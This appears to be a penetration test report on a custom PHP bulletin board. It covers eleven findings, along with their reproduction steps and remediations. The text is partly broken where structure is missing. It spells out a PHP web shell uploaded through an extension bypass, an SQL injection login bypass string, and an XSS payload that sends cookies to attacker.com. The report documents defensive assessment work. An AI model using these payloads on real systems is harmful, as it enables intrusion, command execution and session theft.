A black-box and gray-box penetration test was conducted against a custom LAMP (Linux, Apache, MySQL, PHP) bulletin board application deployed on AWS Lightsail. The objective was to assess the security posture of the application and identify vulnerabilities that could be exploited by an unauthenticated or low-privileged attacker.
The assessment identified 11 vulnerabilities of varying severity, including three critical findings — Remote Code Execution via file upload, authentication bypass via SQL injection, and hardcoded database credentials — any of which would allow a remote attacker to fully compromise the system without prior access.
All findings were remediated following discovery. Detailed proof-of-concept reproduction steps and patched source code are provided for each finding below.
| Item | Detail |
|---|---|
| Target | Custom PHP bulletin board (LAMP stack, AWS Lightsail) |
| Scope | Web application — authentication, session management, file upload, post CRUD, admin panel |
| Assessment Type | Black-box (initial) + Gray-box (source code review for patch verification) |
| Methodology | OWASP Testing Guide v4, manual testing, Burp Suite Community |
| Tools Used | Burp Suite, browser DevTools, manual SQL/XSS payload crafting |
| Environment | Isolated test environment — no production data at risk |
.php to .PHP or .php5. The upload directory was also accessible via directory listing (V-07), allowing an attacker to locate and execute the uploaded web shell.<?php system($_GET['cmd']); ?> saved as shell.PHPhttp://target/uploads/shell.PHP?cmd=id returns www-data?cmd=cat+/etc/passwd, reverse shell, etc.php_flag engine off in the uploads directory .htaccess to prevent script execution regardless of extension.' OR '1'='1' -- in the username field, any value in the password fieldSELECT * FROM users WHERE username LIKE '%' OR '1'='1' --%'.env file; .env added to .gitignore; production values rotated.<script>document.location='http://attacker.com/steal?c='+document.cookie</script>htmlspecialchars() applied to all user-controlled output; Content-Security-Policy header added.post_id URL parameter without verifying that the requesting user owned the post. Any authenticated user could modify or delete any other user's content by changing the ID in the URL.user_a, navigate to your own post at edit_post.php?id=42edit_post.php?id=41 (another user's post)HttpOnly and Secure flags set on session cookie.Options Indexes was enabled on the web root and upload directories, allowing unauthenticated users to browse all files including uploaded content, .git artifacts, and configuration files.Options -Indexes set in Apache configuration; .git directory access blocked via .htaccess.display_errors = On), and a phpinfo() call was publicly accessible, exposing PHP version, loaded modules, server paths, and configuration values — all useful to an attacker for targeted exploitation.display_errors = Off; log_errors = On; phpinfo() removed from production; PHP version hidden from HTTP headers.The assessment revealed that the application was vulnerable to a full chain of compromise from an unauthenticated attacker: directory listing exposed the upload path, file upload bypass enabled remote code execution, and hardcoded credentials provided direct database access. All three critical vulnerabilities independently represented a total system compromise scenario.
All 11 vulnerabilities were remediated following discovery through a combination of input validation, parameterised queries, secure session management, and server hardening. The patched application demonstrates how a Secure SDLC mindset — applying OWASP best practices from the development stage — eliminates entire vulnerability classes rather than addressing symptoms individually.